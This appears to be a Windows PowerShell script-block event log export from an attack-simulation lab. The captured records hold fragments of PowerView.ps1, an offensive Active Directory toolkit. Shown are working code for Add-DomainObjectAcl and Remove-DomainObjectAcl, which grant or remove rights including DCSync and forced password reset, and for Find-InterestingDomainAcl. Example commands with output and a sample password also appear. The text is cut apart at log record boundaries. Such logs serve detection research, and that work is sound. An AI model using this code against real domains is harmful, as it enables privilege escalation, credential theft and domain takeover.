searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $SiteSearcher = Get-DomainSearcher @SearcherArguments if (-not $SiteSearcher) { Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1741um amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Rights Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. Defaults to 'All'. .PARAMETER RightsGUID Manual GUID representing the right to add to the target. .EXAMPLE $UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} [no results returned] Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID } AceQualifier : AccessAllowed ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105 InheritanceFlags : None BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104 AccessMask : 256 AuditFlags : None IsInherited : False AceFlags : None InheritedObjectAceType : All OpaqueLength : 0 Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} [no results returned] .LINK https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $TargetIdentity, [ValidateNotNullOrEmpty()] [String] $TargetDomain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $TargetLDAPFilter, [ValidateNotNullOrEmpty()] [String] $TargetSearchBase, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String[]] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] [String] $Rights = 'All', [Guid] $RightsGUID ) BEGIN { $TargetSearcherArguments = @{ 'Properties' = 'distinguishedname' 'Raw' = $True } if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principals = Get-DomainObject @PrincipalSearcherArguments if (-not $Principals) { throw "Unable to resolve principal: $PrincipalIdentity" } } PROCESS { $TargetSearcherArguments['Identity'] = $TargetIdentity $Targets = Get-DomainObject @TargetSearcherArguments ForEach ($TargetObject in $Targets) { $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' $ACEs = @() if ($RightsGUID) { $GUIDs = @($RightsGUID) } else { $GUIDs = Switch ($Rights) { # ResetPassword doesn't need to know the user's current password 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } # allows for the modification of group membership 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} } } ForEach ($PrincipalObject in $Principals) { Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) if ($GUIDs) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType } # remove all the specified ACEs from the specified object directory entry ForEach ($ACE in $ACEs) { Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" $TargetEntry = $TargetObject.GetDirectoryEntry() $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) $TargetEntry.PsBase.CommitChanges() } } catch { Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" } } } } } function Find-InterestingDomainAcl { <# .SYNOPSIS Finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects. Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName .DESCRIPTION This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, and for each returned ACE entry it checks if principal security identifier is *-1000 (meaning the account is not built in), and also checks if the rights for the ACE mean the object can be modified by the principal. If these conditions are met, then the security identifier SID is translated, the domain object is retrieved, and additional IdentityReference* information is appended to the output object. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Find-InterestingDomainAcl Finds interesting object ACLS in the current domain. .EXAMPLE Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs Finds interesting object ACLS in the ev.testlab.local domain and resolves rights GUIDs to display names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs .OUTPUTS PowerView.ACL Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DomainName', 'Name')] [String] $Domain, [Switch] $ResolveGUIDs, [String] [ValidateSet('All', 'ResetPassword', 'WriteMembers')] $RightsFilter, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ACLArguments = @{} if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } $ObjectSearcherArguments = @{ 'Properties' = 'samaccountname,objectclass' 'Raw' = $True } if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } $ADNameArguments = @{} if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } # ongoing list of built-up SIDs $ResolvedSIDs = @{} } PROCESS { if ($PSBoundParameters['Domain']) { $ACLArguments['Domain'] = $Domain $ADNameArguments['Domain'] = $Domain } Get-DomainObjectAcl @ACLArguments | ForEach-Object { if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { # only process SIDs > 1000 if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } else { $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments # "IdentityReferenceDN: $IdentityReferenceDN" if ($IdentityReferenceDN) { $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' # "IdentityReferenceDomain: $IdentityReferenceDomain" $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN # "IdentityReferenceDN: $IdentityReferenceDN" $Object = Get-DomainObject @ObjectSearcherArguments if ($Object) { $IdentityReferenceName = $Object.Properties.samaccountname[0] if ($Object.Properties.objectclass -match 'computer') { $IdentityReferenceClass = 'computer' } elseif ($Object.Properties.objectclass -match 'group') { $IdentityReferenceClass = 'group' } elseif ($Object.Properties.objectclass -match 'user') { $IdentityReferenceClass = 'user' } else { $Identity421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1641-11d0-a285-00aa003049e2' } Default { '00000000-0000-0000-0000-000000000000' } } if ($_.ObjectType -eq $GuidFilter) { $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid $Continue = $True } } else { $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid $Continue = $True } if ($Continue) { $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) if ($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table $AclProperties = @{} $_.psobject.properties | ForEach-Object { if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { try { $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] } catch { $AclProperties[$_.Name] = $_.Value } } else { $AclProperties[$_.Name] = $_.Value } } $OutObject = New-Object -TypeName PSObject -Property $AclProperties $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') $OutObject } else { $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') $_ } } } } catch { Write-Verbose "[Get-DomainObjectAcl] Error: $_" } } } } } function Add-DomainObjectAcl { <# .SYNOPSIS Adds an ACL for a specific active directory object. AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION This function modifies the ACL/ACE entries for a given Active Directory target object specified by -TargetIdentity. Available -Rights are 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended rights GUID can be set with -RightsGUID. These rights are granted on the target object for the specified -PrincipalIdentity. .PARAMETER TargetIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain object to modify ACLs for. Required. Wildcards accepted. .PARAMETER TargetDomain Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. .PARAMETER TargetLDAPFilter Specifies an LDAP query string that is used to filter Active Directory object targets. .PARAMETER TargetSearchBase The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Rights Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. Defaults to 'All'. .PARAMETER RightsGUID Manual GUID representing the right to add to the target. .EXAMPLE $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} ... Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } AceQualifier : AccessAllowed ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 InheritanceFlags : None BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 AccessMask : 256 AuditFlags : None IsInherited : False AceFlags : None InheritedObjectAceType : All OpaqueLength : 0 .EXAMPLE $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} [no results returned] $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } AceQualifier : AccessAllowed ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 InheritanceFlags : None BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 AccessMask : 256 AuditFlags : None IsInherited : False AceFlags : None InheritedObjectAceType : All OpaqueLength : 0 .LINK https://adsecurity.org/?p=1906 https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $TargetIdentity, [ValidateNotNullOrEmpty()] [String] $TargetDomain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $TargetLDAPFilter, [ValidateNotNullOrEmpty()] [String] $TargetSearchBase, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String[]] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] [String] $Rights = 'All', [Guid] $RightsGUID ) BEGIN { $TargetSearcherArguments = @{ 'Properties' = 'distinguishedname' 'Raw' = $True } if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principals = Get-DomainObject @PrincipalSearcherArguments if (-not $Principals) { throw "Unable to resolve principal: $PrincipalIdentity" } } PROCESS { $TargetSearcherArguments['Identity'] = $TargetIdentity $Targets = Get-DomainObject @TargetSearcherArguments ForEach ($TargetObject in $Targets) { $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' $ACEs = @() if ($RightsGUID) { $GUIDs = @($RightsGUID) } else { $GUIDs = Switch ($Rights) { # ResetPassword doesn't need to know the user's current password 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } # allows for the modification of group membership 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} } } ForEach ($PrincipalObject in $Principals) { Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) if ($GUIDs) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType } # add all the new ACEs to the specified object directory entry ForEach ($ACE in $ACEs) { Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" $TargetEntry = $TargetObject.GetDirectoryEntry() $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $TargetEntry.PsBase.CommitChanges() } } catch { Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : 